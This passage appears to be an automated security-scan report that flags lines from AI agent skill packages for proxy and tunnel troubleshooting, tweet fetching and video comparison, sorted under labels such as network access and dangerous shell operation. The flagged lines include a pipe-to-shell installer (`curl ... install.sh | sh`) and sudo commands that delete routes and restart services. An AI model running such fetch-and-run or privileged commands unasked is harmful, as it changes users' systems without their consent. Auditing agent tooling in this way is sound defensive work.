    -w '%{http_code}\n' -m 10 https://www.google.com/generate_204
  • Network accessline 724
    - `nc -vz github.com 22` reporting **succeeded** proves nothing — under a TUN the local stack answers for the destination on any port. Only trust a real handshake (`ssh -T`).
  • Network accessline 725
    - When the retry wrapper's attempts are genuinely exhausted, the one-shot HTTPS bypass leaves shared remote config untouched: `git push https://github.com/<owner>/<repo>.git HEAD:refs/heads/main` (prefix `HTTPS_PROXY=http://127.0.0.1:<proxy
  • Access to secretsline 736
    [Credential-related source omitted]
  • Dangerous shell operationline 819
    **Why "restart the app" beats "flush DNS cache"**: `sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder` flushes cached results, but the resolver chain in `scutil --dns` is rebuilt from network configuration, not from the cache. T
  • Network accessline 850
    - `curl` direct: `SSL routines::unexpected eof while reading` mid-handshake - `curl -x http://127.0.0.1:<proxy-port>`: `CONNECT tunnel failed, response 503`
  • Network accessline 851
    - `curl -x http://127.0.0.1:<proxy-port>`: `CONNECT tunnel failed, response 503`
  • Network accessline 868
    # 3. Connect by real IP with correct SNI — bypasses the fake-IP table curl -sS -o /dev/null -w '%{http_code}\n' --resolve <domain>:443:<real-ip> https://<domain>/
  • Network accessline 869
    curl -sS -o /dev/null -w '%{http_code}\n' --resolve <domain>:443:<real-ip> https://<domain>/
  • Dangerous shell operationline 883
    Run `sudo killall -HUP mDNSResponder` only within the authorized maintenance scope after the
  • Network accessline 889
    curl -sS -o /dev/null -w 'domestic direct: %{http_code}\n' --max-time 10 https://<domestic-site>/
  • Network accessline 890
    curl -sS -o /dev/null -w 'own DIRECT-rule domain: %{http_code}\n' --max-time 12 https://<your-api-domain>/health
  • Network accessline 891
    curl -sS -o /dev/null -w 'cloud API: %{http_code}\n' --max-time 10 https://<cloud-provider-endpoint>/
  • Network accessline 892
    curl -x http://127.0.0.1:<proxy-port> -sS -o /dev/null -w 'overseas via proxy: %{http_code}\n' --max-time 10 https://www.google.com/generate_204
  • Network accessline 899
    **Symptom**: SSH to a public host fails with `kex_exchange_identification: Connection closed by <ip>` — or `Connection closed by UNKNOWN port 65535` — while HTTPS to the *same* host keeps working. `nc -z <ip> 22` reports the port open. The 
  • Network accessline 903
    **First: stop trusting `nc -z`.** Under a TUN the local stack completes the TCP handshake on the destination's behalf, so `nc -z` succeeds for **every** port, including ports the destination has closed. Calibrate before reading any port pro
  • Network accessline 906
    # Probe a port the destination certainly does NOT serve nc -z -G 5 -w 5 <destination-ip> 65001 && echo "nc is lying: the TUN answered for a closed port"
  • Network accessline 907
    nc -z -G 5 -w 5 <destination-ip> 65001 && echo "nc is lying: the TUN answered for a closed port"
  • Network accessline 909
    nc -z -G 5 -w 5 203.0.113.199 443 || echo "control OK: this probe can still report failure"
  • Network accessline 912
    - **First line prints** → on this machine `nc -z <that host> <any port>` carries **zero information** about the destination. Continue with this step and ignore every port probe from here on.
  • Network accessline 913
    - **First line does not print** (and the control line does) → `nc -z` is trustworthy on this path, so this step's premise does not hold. Re-check whether a TUN is actually in play before continuing; if it is not, an open/closed port reading
  • Network accessline 957
    **If nothing arrived, check the allowlist against your *real* egress IP.** Under a TUN, `curl ifconfig.me` returns the proxy exit, not the address the destination's firewall sees. The authoritative value is the source IP the provider record
  • Network accessline 998
    ssh -o ProxyCommand="nc -X connect -x 127.0.0.1:<proxy-port> %h %p" <host>
  • Network accessline 1047
    At [Tailscale ACL admin](https://login.tailscale.com/admin/acls), ensure the SSH section uses `"action": "accept"`:
  • Dangerous shell operationline 1070
    sudo journalctl -u snap.tailscale.tailscaled -n 30 --no-pager
  • Dangerous shell operationline 1073
    sudo journalctl -u tailscaled -n 30 --no-pager
  • Dangerous shell operationline 1087
    sudo snap remove tailscale
  • Network accessline 1089
    # Install apt version curl -fsSL https://tailscale.com/install.sh | sh
  • Dangerous shell operationline 1090
    curl -fsSL https://tailscale.com/install.sh | sh
  • Network accessline 1090
    curl -fsSL https://tailscale.com/install.sh | sh
  • Dangerous shell operationline 1093
    sudo tailscale up --ssh
  • Network accessline 1100
    **Symptom**: TCP port 22 is reachable (`nc -z -w 5 <ip> 22` succeeds), but SSH fails immediately with:
  • Dangerous shell operationline 1114
    sudo tcpdump -i any port 22 -c 5 -w /dev/null 2>&1
  • Dangerous shell operationline 1125
    sudo tailscale up --ssh=false
  • Dangerous shell operationline 1128
    sudo service ssh status
  • Dangerous shell operationline 1130
    sudo service ssh start
  • Network accessline 1153
    1. Uninstall the App Store version (delete from /Applications) 2. Download the Standalone build from https://pkgs.tailscale.com/stable/#macos
  • Network accessline 1154
    2. Download the Standalone build from https://pkgs.tailscale.com/stable/#macos
  • Network accessline 1192
    # 2. Test TCP connectivity nc -z -w 5 <tailscale-ip> 22
  • Network accessline 1193
    nc -z -w 5 <tailscale-ip> 22
  • Network accessline 1223
    @echo "=== Dev Infrastructure ===" 	@docker exec my-postgres pg_isready -U postgres 2>/dev/null && echo "PostgreSQL: OK" || echo "PostgreSQL: FAIL" 	@curl --noproxy localhost -sf http://localhost:9000/minio/health/live >/dev/null 2>&1 && ec
  • Network accessline 1224
    @docker exec my-postgres pg_isready -U postgres 2>/dev/null && echo "PostgreSQL: OK" || echo "PostgreSQL: FAIL" 	@curl --noproxy localhost -sf http://localhost:9000/minio/health/live >/dev/null 2>&1 && echo "MinIO: OK" || echo "MinIO: FAIL"
  • Network accessline 1225
    @curl --noproxy localhost -sf http://localhost:9000/minio/health/live >/dev/null 2>&1 && echo "MinIO: OK" || echo "MinIO: FAIL"
  • Network accessline 1226
    @curl --noproxy localhost -sf http://localhost:3001/api/status >/dev/null 2>&1 && echo "API: OK" || echo "API: FAIL"
  • Network accessline 1230
    warmup:                ## Pre-compile key routes (run after dev server is ready) 	@echo "Warming up dev server routes..." 	@echo -n "  /api/health → " && curl --noproxy localhost -s -o /dev/null -w '%{http_code} (%{time_total}s)\n' http://l
  • Network accessline 1231
    @echo "Warming up dev server routes..." 	@echo -n "  /api/health → " && curl --noproxy localhost -s -o /dev/null -w '%{http_code} (%{time_total}s)\n' http://localhost:3010/api/health 	@echo -n "  /            → " && curl --noproxy localhost
  • Network accessline 1232
    @echo -n "  /api/health → " && curl --noproxy localhost -s -o /dev/null -w '%{http_code} (%{time_total}s)\n' http://localhost:3010/api/health
  • Network accessline 1233
    @echo -n "  /            → " && curl --noproxy localhost -s -o /dev/null -w '%{http_code} (%{time_total}s)\n' http://localhost:3010/
  • Network accessline 1237
    **Rules**: - Every `curl http://localhost` call MUST include `--noproxy localhost`
  • Network accessline 1238
    - Every `curl http://localhost` call MUST include `--noproxy localhost`
  • Network accessline 1305
    remote-status:         ## Check remote dev server status 	$(call REMOTE_CMD,curl --noproxy localhost -sf http://localhost:3010/api/health && echo "OK" || echo "FAIL")
  • Network accessline 1306
    $(call REMOTE_CMD,curl --noproxy localhost -sf http://localhost:3010/api/health && echo "OK" || echo "FAIL")
  • Network accessline 1316
    cd /path/to/project git clone git@github.com:user/repo.git && cd repo pnpm install  # Add --registry https://registry.npmmirror.com if in China
  • Network accessline 1318
    pnpm install  # Add --registry https://registry.npmmirror.com if in China
  • Access to secretsline 1320
    [Credential-related source omitted]
  • Access to secretsline 1321
    [Credential-related source omitted]
  • Network accessline 1339
    # 2. Open browser open http://localhost:3010
  • Network accessline 1340
    open http://localhost:3010
  • Network accessline 1358
    The key insight: `APP_URL=http://localhost:3010` in `.env` is correct for **both** local and remote development. The SSH tunnel makes the remote server's localhost accessible as the local machine's localhost. Auth callback redirects to `loc
  • Network accessline 1369
    - [ ] `NO_PROXY` includes `.ts.net,100.64.0.0/10` - [ ] `autossh` installed: `which autossh` - [ ] Makefile curl commands have `--noproxy localhost`
  • Network accessline 1370
    - [ ] `autossh` installed: `which autossh` - [ ] Makefile curl commands have `--noproxy localhost` - [ ] Remote dev server running: `ssh <ip> 'source ~/.zshrc 2>/dev/null; curl --noproxy localhost -sf http://localhost:3010/'`
  • Network accessline 1371
    - [ ] Makefile curl commands have `--noproxy localhost`
  • Network accessline 1372
    - [ ] Remote dev server running: `ssh <ip> 'source ~/.zshrc 2>/dev/null; curl --noproxy localhost -sf http://localhost:3010/'`
  • Network accessline 1373
    - [ ] Tunnel works: `make tunnel-bg && curl -sf http://localhost:3010/`

tunnel-doctor/references/dns_resolver_chain_stall.md

  • Dangerous shell operationline 206
    | Lookup works initially, slows down over hours | Cache poisoning or memory pressure on `mDNSResponder` | `sudo killall -HUP mDNSResponder` |
  • Network accessline 206
    | Lookup works initially, slows down over hours | Cache poisoning or memory pressure on `mDNSResponder` | `sudo killall -HUP mDNSResponder` | | Only one specific domain is slow | Per-domain resolver with a `domain :` filter is dead | Same S
  • Network accessline 208
    | `curl -x http://127.0.0.1:<port>` works but `curl` (no `-x`) doesn't | Proxy works; DNS works; the issue is `NO_PROXY` config or env vars | Step 2A |

tunnel-doctor/references/network_change_recovery.md

  • Network accessline 65
    - [Python cleanup actions](https://docs.python.org/3/tutorial/errors.html#defining-clean-up-actions)
  • Network accessline 66
    describes `finally` execution while an exception propagates. - [Ansible block error handling](https://docs.ansible.com/projects/ansible/latest/playbook_guide/playbooks_blocks.html#handling-errors-with-blocks)   documents `rescue`/`always` a
  • Network accessline 67
    - [Ansible block error handling](https://docs.ansible.com/projects/ansible/latest/playbook_guide/playbooks_blocks.html#handling-errors-with-blocks)

tunnel-doctor/references/node-liveness-verification.md

  • Network accessline 51
    curl -s --noproxy '*' --max-time 8 \
  • Network accessline 52
    "http://127.0.0.1:19090/proxies/GLOBAL/delay?url=https://www.gstatic.com/generate_204&timeout=5000"
  • Network accessline 61
    - **多节点共存一个实例时 delay API 全部报错**(节点正常加载、Reality 握手成功、请求发出后无响应;原因未查明)。可靠做法:单节点配置模板克隆,逐一起实例串行测。 - mihomo 的 **socks/http 入站不经 fake-ip**:用 socks 代理方式测域名会在本地(被污染的)DNS 解析后再经节点连假 IP。delay API 由节点侧解析,无此问题——判活用 delay API,不要 curl 经它的 socks 口测域名。
  • Network accessline 62
    - mihomo 的 **socks/http 入站不经 fake-ip**:用 socks 代理方式测域名会在本地(被污染的)DNS 解析后再经节点连假 IP。delay API 由节点侧解析,无此问题——判活用 delay API,不要 curl 经它的 socks 口测域名。

tunnel-doctor/references/provider_account_suspension.md

  • Network accessline 41
    TLS 告警语义见 [RFC 6066 §3](https://www.rfc-editor.org/rfc/rfc6066#section-3)。

tunnel-doctor/references/proxy_conflict_reference.md

  • Network accessline 56
    # Read current config NO_PROXY="<shadowrocket-ip>" curl -s "http://<shadowrocket-ip>:8080/api/read"
  • Network accessline 57
    NO_PROXY="<shadowrocket-ip>" curl -s "http://<shadowrocket-ip>:8080/api/read"
  • Network accessline 59
    # Save updated config (replaces editor buffer) NO_PROXY="<shadowrocket-ip>" curl -s -X POST "http://<shadowrocket-ip>:8080/api/save" --data-binary @config.txt
  • Network accessline 60
    NO_PROXY="<shadowrocket-ip>" curl -s -X POST "http://<shadowrocket-ip>:8080/api/save" --data-binary @config.txt
  • Network accessline 66
    # If you know the device is on the same subnet # Check common ports or use mDNS curl --noproxy '*' -s --connect-timeout 2 "http://192.168.31.110:8080/api/read" | head -1
  • Network accessline 68
    curl --noproxy '*' -s --connect-timeout 2 "http://192.168.31.110:8080/api/read" | head -1
  • Network accessline 82
    # CORRECT — preserves raw content curl -s -X POST "http://<ip>:8080/api/save" --data-binary @config.txt
  • Network accessline 83
    curl -s -X POST "http://<ip>:8080/api/save" --data-binary @config.txt
  • Network accessline 85
    # WRONG — URL-encodes special chars, destroys config curl -s -X POST "http://<ip>:8080/api/save" -d @config.txt
  • Network accessline 86
    curl -s -X POST "http://<ip>:8080/api/save" -d @config.txt
  • Network accessline 193
    [Python `getproxies()`](https://docs.python.org/3/library/urllib.request.html#urllib.request.getproxies) checks proxy environment variables first, then falls back to macOS System Configuration. Clearing `http_proxy`/`https_proxy` alone does
  • Network accessline 264
    Even when system routes are correct (Tailscale `utun` interface wins), an HTTP client configured to use a proxy can send internal requests to that proxy instead. Inspect the actual client and process configuration; environment-variable supp
  • Network accessline 278
    - A leading-dot suffix such as `.ts.net` is a useful domain form; include the apex explicitly when it must also match. Do not assume `*.ts.net` behaves the same across clients. - [Go `httpproxy`](https://github.com/golang/net/blob/master/ht
  • Network accessline 279
    - [Go `httpproxy`](https://github.com/golang/net/blob/master/http/httpproxy/proxy.go) accepts CIDR for literal IPs and `*.domain` for subdomains. It does not resolve hostnames into IPs for CIDR matching; keep the MagicDNS suffix or exact ho
  • Network accessline 281
    - [curl's `NO_PROXY` contract](https://curl.se/docs/manpage.html#--noproxy) owns its supported syntax; a global `NO_PROXY=*` is only appropriate for a task explicitly authorized to bypass every HTTP proxy.
  • Access to secretsline 338
    [Credential-related source omitted]
  • Access to secretsline 340
    [Credential-related source omitted]
  • Access to secretsline 352
    [Credential-related source omitted]
  • Access to secretsline 378
    [Credential-related source omitted]
  • Access to secretsline 450
    [Credential-related source omitted]
  • Network accessline 468
    # curl must work (with and without proxy)
  • Network accessline 469
    curl --noproxy '*' -s -o /dev/null -w "%{http_code}" http://<tailscale-ip>:<port>/
  • Network accessline 470
    curl -s -o /dev/null -w "%{http_code}" http://<tailscale-ip>:<port>/
  • Network accessline 495
    **Fix**: Add `--noproxy localhost` to every localhost curl call in Makefiles and scripts:
  • Network accessline 498
    # Health check that works regardless of proxy settings @curl --noproxy localhost -sf http://localhost:9000/minio/health/live && echo "OK"
  • Network accessline 499
    @curl --noproxy localhost -sf http://localhost:9000/minio/health/live && echo "OK"
  • Network accessline 505
    export http_proxy=http://127.0.0.1:1082
  • Network accessline 506
    export https_proxy=http://127.0.0.1:1082
  • Dangerous shell operationline 519
    sudo route delete -net 100.64.0.0/10 <gateway-ip>
  • Dangerous shell operationline 522
    **Important**: Manually deleting a bad `en0` route with `sudo route delete` is only a temporary fix. Shadowrocket will re-add the route when the VPN connection is next reconnected or toggled. The only permanent fix is modifying the Shadowro

tunnel-doctor/references/proxy_node_chain_throughput.md

  • Network accessline 55
    PROXY_URL=http://127.0.0.1:<proxy-port>
  • Network accessline 58
    curl -sS -o /dev/null --max-time 20 --proxy "$PROXY_URL" \

tunnel-doctor/references/ssh_tunnel_source_restriction.md

  • Network accessline 58
    forwarding remains possible. Verify the deployed OpenSSH version and effective configuration before relying on those semantics. See the official [authorized-key options](https://man.openbsd.org/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT)
  • Network accessline 59
    configuration before relying on those semantics. See the official [authorized-key options](https://man.openbsd.org/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT) and [MaxSessions](https://man.openbsd.org/sshd_config.5#MaxSessions).
  • Network accessline 60
    [authorized-key options](https://man.openbsd.org/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT)
  • Network accessline 61
    and [MaxSessions](https://man.openbsd.org/sshd_config.5#MaxSessions).

tunnel-doctor/references/windows_host_tun_wsl_cascade.md

  • Network accessline 126
    # WSL guest → host proxy port; host gateway IP from: ip route show default   export http_proxy=http://$(ip route show default | awk '{print $3}'):<proxy-port>
  • Network accessline 127
    export http_proxy=http://$(ip route show default | awk '{print $3}'):<proxy-port>
  • Network accessline 131
    (The `no_proxy` line matters: without it, requests to localhost services and Tailscale peers get shoved through the proxy — a proxied `curl http://localhost:<port>` returning **503 from the proxy** instead of **connection refused** is the t

tunnel-doctor/scripts/quick_diagnose.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 85
    host = re.search(rf"^\s*{kind}Proxy\s*:\s*(\S+)\s*$", raw, re.MULTILINE)         port = re.search(rf"^\s*{kind}Port\s*:\s*(\d+)\s*$", raw, re.MULTILINE)         return f"http://{host.group(1)}:{port.group(1)}" if host and port else ""
  • Network accessline 87
    return f"http://{host.group(1)}:{port.group(1)}" if host and port else ""
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Access to secretsline 245
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Network accessline 291
    "level": "warn",                 "title": "System proxy probe failed; client impact unverified",                 "detail": f"The forced system proxy probe failed for {host}; the curl no-proxy path succeeded. scutil exceptions do not include
  • Network accessline 292
    "title": "System proxy probe failed; client impact unverified",                 "detail": f"The forced system proxy probe failed for {host}; the curl no-proxy path succeeded. scutil exceptions do not include the host.",                 "fix
  • Network accessline 293
    "detail": f"The forced system proxy probe failed for {host}; the curl no-proxy path succeeded. scutil exceptions do not include the host.",
  • Network accessline 305
    "title": "Proxy path is broken for target host",                 "detail": (                     "Direct curl access works, but the forced env-proxy path fails."
  • Network accessline 306
    "detail": (                     "Direct curl access works, but the forced env-proxy path fails."                 ),
  • Network accessline 307
    "Direct curl access works, but the forced env-proxy path fails."
  • Network accessline 493
    type=int,         default=8,         help="curl timeout seconds (default: 8).",
  • Network accessline 494
    default=8,         help="curl timeout seconds (default: 8).",     )
  • Network accessline 495
    help="curl timeout seconds (default: 8).",
  • Network accessline 509
    url = args.url.strip() or f"https://{args.host}/health"

tunnel-doctor/tests/test_quick_diagnose.py

  • Executable scriptline 1
    Executable file
  • Network accessline 28
    with patch.object(doctor, "run", return_value=(0, raw, "")):             parsed = doctor.parse_scutil_proxy()         self.assertEqual(parsed["https_proxy"], "http://127.0.0.1:1082")
  • Network accessline 29
    parsed = doctor.parse_scutil_proxy()         self.assertEqual(parsed["https_proxy"], "http://127.0.0.1:1082")         self.assertEqual(parsed["http_proxy"], "http://127.0.0.1:1082")
  • Network accessline 30
    self.assertEqual(parsed["https_proxy"], "http://127.0.0.1:1082")
  • Network accessline 31
    self.assertEqual(parsed["http_proxy"], "http://127.0.0.1:1082")
  • Network accessline 38
    def test_curl_modes_force_or_bypass_proxy(self):         with patch.object(doctor, "run", return_value=(0, "200", "")) as run:             doctor.curl_status("https://example.test", 2, "direct")
  • Network accessline 39
    with patch.object(doctor, "run", return_value=(0, "200", "")) as run:             doctor.curl_status("https://example.test", 2, "direct")             self.assertEqual(run.call_args.args[0][-2:], ["--noproxy", "*"])
  • Network accessline 40
    doctor.curl_status("https://example.test", 2, "direct")
  • Network accessline 41
    self.assertEqual(run.call_args.args[0][-2:], ["--noproxy", "*"])             doctor.curl_status("https://example.test", 2, "forced_proxy", "http://127.0.0.1:1082")             self.assertEqual(run.call_args.args[0][-4:], ["--noproxy", "", "
  • Network accessline 42
    doctor.curl_status("https://example.test", 2, "forced_proxy", "http://127.0.0.1:1082")
  • Network accessline 43
    self.assertEqual(run.call_args.args[0][-4:], ["--noproxy", "", "--proxy", "http://127.0.0.1:1082"])
  • Network accessline 45
    def test_env_proxy_follows_url_scheme(self):         with patch.dict(os.environ, {"http_proxy": "http://127.0.0.1:3", "https_proxy": "http://127.0.0.1:2"}, clear=True):
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 47
    self.assertEqual(doctor.pick_proxy_url("https://example.test/"), "http://127.0.0.1:2")
  • Network accessline 48
    self.assertEqual(doctor.pick_proxy_url("http://example.test/"), "http://127.0.0.1:3")
  • Network accessline 49
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 50
    self.assertEqual(doctor.pick_proxy_url("https://example.test/"), "http://127.0.0.1:2")
  • Network accessline 51
    self.assertEqual(doctor.pick_proxy_url("http://example.test/"), "http://127.0.0.1:4")
  • Network accessline 53
    def report(self, direct, system_proxy, proxy_endpoint="http://127.0.0.1:1082", env_proxy=None, ambient=None):
  • Network accessline 71
    patch.object(doctor, "strict_tls_check", return_value=None), \              patch.object(doctor, "resolve_host", return_value=["203.0.113.1"]):             return doctor.build_report("example.test", "https://example.test/", 2, None)
  • Network accessline 73
    return doctor.build_report("example.test", "https://example.test/", 2, None)
  • Network accessline 98
    def test_failed_forced_env_proxy_does_not_condemn_working_ambient_path(self):         env_proxy = "http://127.0.0.1:3"
  • Network accessline 99
    env_proxy = "http://127.0.0.1:3"
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]

twitter-reader/SKILL.md

  • Dangerous shell operationline 22
    curl -sS --max-time 20 "https://api.fxtwitter.com/<user>/status/<id>"    | python3 -c "import json,sys; t=json.load(sys.stdin)['tweet']; print(t['created_at']); print(t['text'])"
  • Network accessline 22
    curl -sS --max-time 20 "https://api.fxtwitter.com/<user>/status/<id>" \
  • Network accessline 37
    uv run --with pyyaml python scripts/fetch_article.py \   https://x.com/HiTw93/status/2040047268221608281 \
  • Network accessline 38
    https://x.com/HiTw93/status/2040047268221608281 \
  • Network accessline 58
    Fetching: https://x.com/HiTw93/status/2040047268221608281
  • Network accessline 91
    A lapsed or unfunded key returns the same shape with `"code":402, "name":"InsufficientBalanceError"`. `curl --fail` catches neither: this endpoint
  • Network accessline 92
    "name":"InsufficientBalanceError"`. `curl --fail` catches neither: this endpoint
  • Access to secretsline 100
    [Credential-related source omitted]
  • Network accessline 109
    # Single tweet curl "https://r.jina.ai/https://x.com/USER/status/TWEET_ID" \
  • Network accessline 110
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Network accessline 140
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 141
    # Get from https://jina.ai/
  • Network accessline 171
    - `https://x.com/USER/status/ID` (posts)
  • Network accessline 172
    - `https://x.com/USER/article/ID` (long-form articles)
  • Network accessline 173
    - `https://twitter.com/USER/status/ID` (legacy)
  • Network accessline 224
    curl "https://r.jina.ai/https://x.com/..."

twitter-reader/scripts/fetch_article.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 8
    Example:     python fetch_article.py https://x.com/HiTw93/status/2040047268221608281 ./Clippings
  • Network accessline 9
    python fetch_article.py https://x.com/HiTw93/status/2040047268221608281 ./Clippings
  • Network accessline 51
    ``{"code":403,"name":"AbuseAlleviationError",...}`` (seen when anonymous     access to x.com is temporarily blocked) or a 402 when a key is out of     balance, and plain curl exits 0 on those, so "the process succeeded" says
  • Network accessline 52
    access to x.com is temporarily blocked) or a 402 when a key is out of     balance, and plain curl exits 0 on those, so "the process succeeded" says     nothing about whether an article came back. Verified 2026-09-12: a 537-byte
  • Network accessline 53
    balance, and plain curl exits 0 on those, so "the process succeeded" says
  • Network accessline 58
    -- this endpoint was observed answering 200 with the envelope in the body --     so the marker is the only signal independent of HTTP status and of which     curl build the reader happens to have installed.
  • Network accessline 59
    so the marker is the only signal independent of HTTP status and of which     curl build the reader happens to have installed.     """
  • Network accessline 60
    curl build the reader happens to have installed.
  • Network accessline 62
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Network accessline 63
    jina_url = f"https://r.jina.ai/{url}"
  • Network accessline 65
    # -sS keeps curl quiet but still reports its own transport errors;
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 108
    pattern = r'https://pbs\.twimg\.com/media/[^\s\)"\']+'
  • Network accessline 204
    if not args.url.startswith(("https://x.com/", "https://twitter.com/")):

twitter-reader/scripts/fetch_tweet.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 8
    Example:     python fetch_tweet.py https://x.com/dabit3/status/2009131298250428923 tweet.md
  • Network accessline 9
    python fetch_tweet.py https://x.com/dabit3/status/2009131298250428923 tweet.md
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 27
    if not url.startswith(("https://x.com/", "https://twitter.com/")):
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    raise RuntimeError(             "JINA_API_KEY environment variable is not set. "             "Get your API key from https://jina.ai/ and set: "
  • Network accessline 33
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 34
    "Get your API key from https://jina.ai/ and set: "
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 38
    jina_api_url = f"https://r.jina.ai/{url}"
  • Access to secretsline 42
    [Credential-related source omitted]
  • Network accessline 47
    if result.returncode != 0:         detail = result.stderr.strip() or f"curl exited with status {result.returncode}"
  • Network accessline 48
    detail = result.stderr.strip() or f"curl exited with status {result.returncode}"
  • Network accessline 53
    # curl without --fail exits 0 on an HTTP error, and r.jina.ai signals refusal
  • Network accessline 56
    # Without this check the envelope is written to the output file and reported     # as saved. The reader's "Markdown Content:" marker is the only signal     # independent of HTTP status and of which curl build is installed.
  • Network accessline 58
    # independent of HTTP status and of which curl build is installed.

twitter-reader/scripts/fetch_tweets.sh

  • Executable scriptline 1
    #!/bin/bash
  • Access to secretsline 4
    [Credential-related source omitted]
  • Network accessline 6
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]
  • Network accessline 7
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Network accessline 8
    echo "Get your API key from https://jina.ai/ and set:" >&2
  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 13
    if [ $# -eq 0 ]; then     echo "Usage: $0 <tweet_url> [tweet_url2] ..."     echo "Example: $0 https://x.com/dabit3/status/2009131298250428923"
  • Network accessline 14
    echo "Usage: $0 <tweet_url> [tweet_url2] ..."     echo "Example: $0 https://x.com/dabit3/status/2009131298250428923"     exit 1
  • Network accessline 15
    echo "Example: $0 https://x.com/dabit3/status/2009131298250428923"
  • Network accessline 28
    # curl without --fail exits 0 on an HTTP error, and r.jina.ai signals refusal
  • Network accessline 33
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]

video-comparer/README.md

  • Dangerous shell operationline 38
    sudo apt install ffmpeg
  • Network accessline 40
    # Windows # Download from https://ffmpeg.org/download.html
  • Network accessline 41
    # Download from https://ffmpeg.org/download.html
  • Dangerous shell operationline 210
    sudo apt install ffmpeg      # Ubuntu/Debian
  • Dangerous shell operationline 211
    sudo yum install ffmpeg      # CentOS/RHEL/Fedora

video-comparer/SKILL.md

  • Dangerous shell operationline 61
    sudo apt update && sudo apt install ffmpeg
  • Network accessline 63
    # Windows # Download from https://ffmpeg.org/download.html
  • Network accessline 64
    # Download from https://ffmpeg.org/download.html

video-comparer/assets/template.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>视频质量对比分析</title>     <link rel="stylesheet" href="https://unpkg.com/img-comparison-slider@8/dist/styles.css">
  • Network accessline 6
    <title>视频质量对比分析</title>     <link rel="stylesheet" href="https://unpkg.com/img-comparison-slider@8/dist/styles.css">     <script defer src="https://unpkg.com/img-comparison-slider@8/dist/index.js"></script>
  • Network accessline 7
    <link rel="stylesheet" href="https://unpkg.com/img-comparison-slider@8/dist/styles.css">
  • Network accessline 8
    <script defer src="https://unpkg.com/img-comparison-slider@8/dist/index.js"></script>

video-comparer/scripts/compare.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 120
    f"  macOS:   brew install ffmpeg\n"                 f"  Ubuntu:  sudo apt install ffmpeg\n"                 f"  Windows: Download from https://ffmpeg.org/download.html"
  • Dangerous shell operationline 121
    f"  Ubuntu:  sudo apt install ffmpeg\n"
  • Network accessline 121
    f"  Ubuntu:  sudo apt install ffmpeg\n"                 f"  Windows: Download from https://ffmpeg.org/download.html"             )
  • Network accessline 122
    f"  Windows: Download from https://ffmpeg.org/download.html"

windows-remote-desktop-connection-doctor/SKILL.md

  • Broad permissionsline 1
    Read, Grep, Bash
  • Network accessline 97
    scutil --proxy # ShadowRocket config API (if accessible on local network) NO_PROXY="<local-ip>" curl -s --connect-timeout 5 "http://<local-ip>:8080/api/read"
  • Network accessline 99
    NO_PROXY="<local-ip>" curl -s --connect-timeout 5 "http://<local-ip>:8080/api/read"
  • Network accessline 164
    | `TCP/IP Traffic Routed Through VPN: No/Yes` | Client detected VPN routing for TCP | | `STUN/TURN Traffic Routed Through VPN: Yes` | Client detected VPN routing for STUN/TURN | | `Passed URL: https://...wvd.microsoft.com/ Response Time: Nm
  • Network accessline 165
    | `STUN/TURN Traffic Routed Through VPN: Yes` | Client detected VPN routing for STUN/TURN | | `Passed URL: https://...wvd.microsoft.com/ Response Time: Nms` | Gateway reachability confirmed | | `FetchClientOptions exception: Request timed o
  • Network accessline 166
    | `Passed URL: https://...wvd.microsoft.com/ Response Time: Nms` | Gateway reachability confirmed |
  • Network accessline 221
    for srv in [('stun.l.google.com', 19302), ('stun1.l.google.com', 19302)]:     try:         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • Network accessline 222
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)         s.settimeout(3)
  • Network accessline 223
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

windows-remote-desktop-connection-doctor/references/windows_app_log_analysis.md

  • Network accessline 55
    Passed URL: https://afdfp-rdgateway-r1.wvd.microsoft.com/ Attempts Made: 1 Used Ipv4: 1 HTTP Status Code: 200 Response Time: 480
  • Network accessline 56
    Passed URL: https://rdweb.wvd.microsoft.com/ Attempts Made: 1 Used Ipv4: 1 HTTP Status Code: 200 Response Time: 613

windows-remote-desktop-connection-doctor/scripts/probe_rdp_server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 40
    sock: Optional[socket.socket] = None     try:         sock = socket.create_connection((host, port), timeout=timeout)
  • Network accessline 41
    try:         sock = socket.create_connection((host, port), timeout=timeout)     except OSError as exc:
  • Network accessline 42
    sock = socket.create_connection((host, port), timeout=timeout)

wps-doc-scraper/SKILL.md

  • Network accessline 25
